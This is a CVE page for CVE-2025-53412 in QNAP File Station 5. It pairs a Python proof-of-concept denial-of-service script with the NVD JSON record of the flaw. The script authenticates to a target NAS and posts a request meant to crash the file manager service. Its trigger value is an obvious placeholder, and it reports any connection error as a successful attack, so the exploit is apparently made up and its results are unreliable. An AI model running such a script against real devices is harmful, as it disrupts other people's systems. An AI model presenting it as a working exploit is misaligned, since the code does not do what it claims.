CVE-2025-53412

import requests import sys # CVE-2025-53412 PoC - NULL Pointer Dereference in QNAP File Station 5 # Target: QNAP NAS with File Station 5 def check_vulnerability(target_ip, username, password): """ Check if target is vulnerable to CVE-2025-53412 """ base_url = f"https://{target_ip}:443" # Step 1: Authentication auth_endpoint = f"{base_url}/cgi-bin/authLogin.cgi" auth_data = { "username": username, "password": password } try: session = requests.Session() resp = session.post(auth_endpoint, data=auth_data, verify=False, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False # Step 2: Trigger NULL pointer dereference via malformed request # The exact payload depends on the specific vulnerable code path exploit_endpoint = f"{base_url}/cgi-bin/filemanager/utilRequest.cgi" # Crafted request that triggers NULL pointer dereference exploit_data = { "func": "file_operation", "source": "null_pointer_trigger", "dest": "", "operation": "move" } resp = session.post(exploit_endpoint, data=exploit_data, verify=False, timeout=10) # If service doesn't respond, likely DoSed if resp.status_code == 500 or resp.status_code == 0: print("[+] CVE-2025-53412 Exploited - Service crashed") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.RequestException as e: print(f"[+] Service unreachable - Possible successful DoS: {e}") return True if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) check_vulnerability(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-53412", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:39.727", "lastModified": "2025-11-14T20:11:14.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5018 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.6.4691", "versionEndExcluding": "5.5.6.5018", "matchCriteriaId": "A8CD1AA7-AC4B-4100-9789-50556BA83F52"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-38", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}